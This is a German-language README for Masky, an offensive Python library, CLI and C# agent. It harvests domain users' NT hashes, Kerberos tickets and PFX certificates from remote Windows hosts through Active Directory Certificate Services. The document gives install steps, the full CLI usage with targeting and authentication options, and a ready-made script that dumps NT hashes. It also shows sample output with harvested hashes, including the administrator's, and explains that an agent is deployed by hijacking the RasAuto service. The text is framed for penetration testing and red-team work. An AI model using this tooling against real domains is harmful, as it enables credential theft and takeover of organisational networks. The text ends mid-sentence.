
Python-Bibliothek mit CLI, die das entfernte Auslesen von Domänenbenutzer-Anmeldeinformationen über ein ADCS ermöglicht, ohne den LSASS-Prozessspeicher auszulesen.
Masky ist eine Python-Bibliothek, die eine alternative Möglichkeit bietet, Anmeldeinformationen von Domänenbenutzern mithilfe einer ADCS aus der Ferne auszulesen. Ein Befehlszeilentool wurde auf Basis dieser Bibliothek entwickelt, um einfach PFX, NT-Hashes und TGT in größerem Umfang zu sammeln.
Dieses Tool nutzt keine neue Sicherheitslücke aus und funktioniert nicht durch Auslesen des LSASS-Prozessspeichers. Es nutzt lediglich legitime Windows- und Active Directory-Funktionen aus (Token-Impersonation, Zertifikatsauthentifizierung über Kerberos und Abruf von NT-Hashes über PKINIT). Ein Blogbeitrag wurde veröffentlicht, um die implementierten Techniken und die Funktionsweise von Masky im Detail zu beschreiben.
Der Quellcode von Masky basiert weitgehend auf den erstaunlichen Tools Certify und Certipy. Ich danke ihren Autoren herzlich für die Forschungsarbeit zu offensiven Ausnutzungstechniken gegen ADCS (siehe Danksagungen).
Die Masky Python3-Bibliothek und das zugehörige CLI können einfach über das öffentliche PyPi-Repository wie folgt installiert werden:
pip install masky
Die ausführbare Datei des Masky-Agents ist bereits im PyPi-Paket enthalten.
Falls Sie den Agenten ändern müssen, kann der C#-Code über ein Visual Studio-Projekt unter agent/Masky.sln neu kompiliert werden. Es erfordert .NET Framework 4, um erstellt zu werden.
Masky wurde als Python-Bibliothek entwickelt. Darüber hinaus wurde eine Befehlszeilenschnittstelle erstellt, um die Verwendung während Pentests oder RedTeam-Aktivitäten zu erleichtern.
Für beide Verwendungszwecke müssen Sie zuerst den vollqualifizierten Domänennamen (FQDN) eines CA-Servers und dessen CA-Namen ermitteln, der über eine ADCS bereitgestellt wird. Diese Informationen können einfach über die Option certipy find oder über das Microsoft-eigene Tool certutil.exe abgerufen werden. Stellen Sie sicher, dass die Standardvorlage User auf der Ziel-CA aktiviert ist.
Warnung: Masky stellt auf jedem Ziel eine ausführbare Datei über eine Änderung des vorhandenen RasAuto-Dienstes bereit. Trotz des automatischen Zurücksetzens des ursprünglichen ImagePath-Werts könnte ein unerwarteter Fehler während der Laufzeit von Masky die Bereinigungsphase überspringen. Vergessen Sie daher nicht, den ursprünglichen Wert bei einem solchen unerwünschten Stopp manuell zurückzusetzen.
Die folgende Demo zeigt eine grundlegende Verwendung von Masky durch Angriff auf 4 entfernte Systeme. Die Ausführung ermöglicht das Sammeln von NT-Hashes, CCACHE und PFX von 3 verschiedenen Domänenbenutzern aus der Testdomäne sec.lab.
Masky bietet auch Optionen, die bei solchen Tools üblich sind (Thread-Anzahl, Authentifizierungsmodus, Ziele aus Dateien laden usw.).
__ __ _
| \/ | __ _ ___| | ___ _
| |\/| |/ _` / __| |/ / | | |
| | | | (_| \__ \ <| |_| |
|_| |_|\__,_|___/_|\_\__, |
v0.0.3 |___/
usage: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
[targets ...]
positional arguments:
targets Targets in CIDR, hostname and IP formats are accepted, from a file or not
options:
-h, --help show this help message and exit
-v, --verbose Enable debugging messages
-ts, --timestamps Display timestamps for each log
-t THREADS, --threads THREADS
Threadpool size (max 15)
Authentication:
-d DOMAIN, --domain DOMAIN
Domain name to authenticate to
-u USER, --user USER Username to authenticate with
-p PASSWORD, --password PASSWORD
Password to authenticate with
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters.
-H HASHES, --hashes HASHES
Hashes to authenticate with (LM:NT, :NT or :LM)
Connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
Certificate Authority Name (SERVER\CA_NAME)
Results:
-nh, --no-hash Do not request NT hashes
-nt, --no-ccache Do not save ccache files
-np, --no-pfx Do not save pfx files
-o OUTPUT, --output OUTPUT
Local path to a folder where Masky results will be stored (automatically creates the folder if it does not exit)
Nachfolgend finden Sie ein einfaches Skript, das die Masky-Bibliothek verwendet, um Geheimnisse von laufenden Domänenbenutzersitzungen von einem entfernten Ziel zu sammeln.
from masky import Masky
from getpass import getpass
def dump_nt_hashes():
# Define the authentication parameters
ca = "srv-01.sec.lab\sec-SRV-01-CA"
dc_ip = "192.168.23.148"
domain = "sec.lab"
user = "askywalker"
password = getpass()
# Create a Masky instance with these credentials
m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)
# Set a target and run Masky against it
target = "192.168.23.130"
rslts = m.run(target)
# Check if Masky succesfully hijacked at least a user session
# or if an unexpected error occured
if not rslts:
return False
# Loop on MaskyResult object to display hijacked users and to retreive their NT hashes
print(f"Results from hostname: {rslts.hostname}")
for user in rslts.users:
print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")
return True
if __name__ == "__main__":
dump_nt_hashes()
Die Ausführung erzeugt die folgende Ausgabe.
$> python3 .\masky_demo.py
Password:
Results from hostname: SRV-01
- sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
- sec\askywalker - 8928e0723012a8471c0084149c4e23b1
- sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a
Ein MaskyResults-Objekt, das eine Liste von User-Objekten enthält, wird nach einer erfolgreichen Ausführung von Masky zurückgegeben.
Bitte schauen Sie sich das Modul masky\lib\results.py an, um die Methoden und Attribute zu überprüfen, die von diesen beiden Klassen bereitgestellt werden.
Ab der Masky-Version 0.0.5 kann der eigenständige ausführbare Agent jetzt einfach ohne das Python-CLI ausgeführt werden.
Hier sind die Argumente:
$> .\Masky.exe /ca:'CA SERVER\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)
Der Parameter /ca ist wie beim Python-CLI obligatorisch. Darüber hinaus wurde das Argument /currentUser hinzugefügt, um die Token-Impersonation zu vermeiden. Es wird eine einfache Zertifikatanforderung im Kontext des aktuellen Benutzers auf Basis der bereitgestellten Vorlage (template) durchgeführt. Die Parameter /output und /debug ermöglichen die Angabe des Pfads, in dem die Dateien erstellt werden.
Die Standardwerte sind die folgenden: